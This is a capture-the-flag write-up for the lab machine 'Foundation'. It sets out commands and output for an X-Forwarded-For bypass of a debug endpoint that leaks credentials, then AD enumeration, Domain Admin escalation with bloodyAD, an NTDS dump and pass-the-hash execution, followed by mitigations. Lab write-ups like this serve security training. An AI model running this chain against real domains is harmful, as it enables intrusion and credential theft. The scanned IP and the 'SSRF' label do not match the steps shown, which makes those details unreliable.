Target Information
- IP Address: 172.16.13.44 (Foundation Web App) / 172.16.15.138 (DC01 Active Directory)
- Difficulty: Medium
- Tags: Web, SSRF, ASP.NET, Active Directory, Privilege Escalation
Reconnaissance
Port Scanning
Initial enumeration with nmap:
nmap -sS -p- -T4 -sV -sC -oN tcp_full.txt -vvv 172.16.7.83Results:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
Web Enumeration
Debug Mode Enabled and Sensitive Headers Leak
Initial request to the Foundation application exposed ASP.NET debug indicators and internal build metadata.
Endpoint: http://172.16.13.44:80/
Request:
GET / HTTP/1.1
Host: 172.16.13.44
User-Agent: curlResponse:
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Foundation-Version: 4.2.1
X-Debug-Mode: enabled
X-Internal-Build: foundation-platform-4.2.1+20260331.dc01Debug Endpoint with IP-Based Access Control
Directory enumeration revealed a diagnostics endpoint that returned HTTP 403 for external requests.
Endpoint: /api/v2/diagnostics/boot_strap?data=1
Request:
GET /api/v2/diagnostics/boot_strap?data=1 HTTP/1.1
Host: 172.16.13.44Response:
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"Access denied from external IPs"}Exploitation: Server-Side Request Forgery via X-Forwarded-For
Bypass IP-Based Access Control
The application trusted the X-Forwarded-For header to decide whether the request originated from localhost, allowing access to an internal debug endpoint.
Payload:
{
"X-Forwarded-For": "127.0.0.1"
}Command:
curl -s -H "X-Forwarded-For: 127.0.0.1" \
"http://172.16.13.44:80/api/v2/diagnostics/boot_strap?data=1"Result:
{
"status": "healthy",
"timestamp": "2026-04-10T14:40:06Z",
"build": "foundation-platform-4.2.1+20260331.dc01",
"host": "DC01",
"environment": "production",
"debug_mode": true,
"_debug": {
"warning": "debug block active -- disable before next release",
"auth_bootstrap": {
"endpoint": "/api/v2/diagnostics/boot_strap",
"domain": "foundation.hc",
"svc_user": "c.jung",
"svc_pass": "Str0ng#J4ng2026!@763",
"purpose": "AD read-only sync account -- AuthGuard session rebuild"
},
"internal_endpoints": [
{ "method": "POST", "path": "/api/v2/internal/auth-bootstrap" },
{ "method": "GET", "path": "/api/v2/diagnostics/boot_strap" },
{ "method": "POST", "path": "/api/v2/internal/node-heartbeat" },
{ "method": "POST", "path": "/api/v2/internal/deploy-trigger" }
]
}
}Reverse Shell
Listener:
nc -lvnp 4444Payload:
N/A - the compromise chain used credential abuse, NTDS extraction, and pass-the-hash instead of a reverse shell.Result:
[+] No reverse shell used in this pathPost-Exploitation
Environment Enumeration
With the leaked service account credentials, Active Directory enumeration identified the domain structure and additional pivot opportunities.
ldapsearch -H ldap://172.16.15.138 -D "foundation.hc\c.jung" \
-w "Str0ng#J4ng2026!@763" -b "DC=foundation,DC=hc" \
"(objectClass=user)" sAMAccountNameFindings:
- Domain:
foundation.hc - DC:
DC01.foundation.hc(172.16.15.138) - Service account
c.jungwas valid for LDAP enumeration - Additional credentials were identified for
f.dostoevsky
Privilege Escalation: Domain Admin Escalation and NTDS Dump
Enumeration
The next step used the secondary account f.dostoevsky with NTLM hash a82cec796a84ea3d3587808d26155e4b to modify group membership and elevate c.jung.
bloodyAD -u f.dostoevsky -p :a82cec796a84ea3d3587808d26155e4b \
-d foundation.hc --host 172.16.15.138 \
add groupMember "Domain Admins" "c.jung"Exploitation
After elevating c.jung to Domain Admins, the NTDS database was dumped and the Administrator NTLM hash was used for pass-the-hash remote execution.
secretsdump.py foundation.hc/c.jung:Str0ng#J4ng2026!@763@172.16.15.138 -just-dc
nxc smb 172.16.15.138 -u Administrator \
-H b34ab5945871eb2ec5ba9cc261379e3c -d foundation.hc \
--exec-method atexec \
-x "powershell -c \"Get-ChildItem 'C:\Users\*\Desktop' -Recurse \
-Include user.txt,flag.txt,root.txt -ErrorAction SilentlyContinue | \
Select FullName; echo '=== CONTENT ==='; \
Get-ChildItem 'C:\Users\*\Desktop' -Recurse \
-Include user.txt,flag.txt,root.txt -ErrorAction SilentlyContinue | \
ForEach-Object { Get-Content \$_.FullName }\""Result:
# whoami
nt authority\systemROOT OBTAINED!
Attack Chain Summary
1. Port Scan and Service Detection
↓
2. Debug Header Disclosure
↓
3. X-Forwarded-For Access Control Bypass
↓
4. Service Account Credential Disclosure
↓
5. Active Directory Enumeration
↓
6. Add c.jung to Domain Admins
↓
7. Dump NTDS and Recover Administrator Hash
↓
8. Pass-the-Hash Command Execution
↓
9. Root Access
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| Debug Mode Information Disclosure | CWE-215 | Critical | Exposed internal build metadata and debug state |
| Insecure Trust in X-Forwarded-For | CWE-348 | Critical | Bypassed IP-based protections on internal endpoint |
| Hardcoded Credentials in Debug Output | CWE-798 | Critical | Leaked valid AD service account credentials |
| Weak Internal Endpoint Protection | CWE-284 | High | Sensitive diagnostics reachable without real authentication |
| Excessive Active Directory Permissions | CWE-269 | High | Allowed escalation to Domain Admin and full domain compromise |
Mitigation Recommendations
Application Level
- Disable Debug Mode in Production:
- Remove production debug settings and prevent verbose diagnostic exposure.
<compilation debug="false" />- Do Not Trust Client-Supplied Forwarding Headers:
- Accept
X-Forwarded-Foronly from trusted reverse proxies and enforce server-side source validation.
- Accept
if (trustedProxyIPs.Contains(request.RemoteAddr)) {
clientIP = request.Headers["X-Forwarded-For"];
}- Protect Internal Diagnostics with Authentication:
- Require strong authentication and authorization for all internal maintenance endpoints.
Authorization: Bearer <internal-service-token>System Level
- Restrict Service Account Permissions:
- Limit
c.jungto the minimum directory permissions required for sync operations.
- Limit
dsacls "DC=foundation,DC=hc" /G "foundation.hc\c.jung:GR"- Monitor Privileged Directory Changes and Secret Access:
- Alert on group membership changes, DCSync-like operations, and NTDS extraction attempts.
Get-WinEvent -LogName SecurityTools Used
- nmap - Network scanning and service enumeration
- curl - HTTP requests and header manipulation
- feroxbuster - Endpoint discovery
- ldapsearch - LDAP enumeration
- bloodyAD - Active Directory group manipulation
- Impacket - NTDS dumping with
secretsdump.py - NetExec - Pass-the-hash command execution
Proof of Concept Scripts
SSRF Bypass POC
#!/usr/bin/env python3
import requests
target = "http://172.16.13.44:80/api/v2/diagnostics/boot_strap?data=1"
headers = {"X-Forwarded-For": "127.0.0.1"}
response = requests.get(target, headers=headers, timeout=10)
print(response.text)References
- OWASP: Server-Side Request Forgery (SSRF)
- OWASP WSTG: Testing for Server-Side Request Forgery
- Microsoft Learn: Best practices for securing Active Directory
- Microsoft Learn: Active Directory privileged accounts and groups guide
- Microsoft Learn: Secure user-based service accounts in Active Directory
- Impacket GitHub Repository
- NetExec Wiki: Executing Remote Commands
CWE References:
- CWE-215: Insertion of Sensitive Information Into Debugging Code
- CWE-348: Use of Less Trusted Source
- CWE-798: Use of Hard-coded Credentials
- CWE-284: Improper Access Control
- CWE-269: Improper Privilege Management
Author: cbxcvl Date: 2026-04-10 Machine: Foundation - HackingClub CTF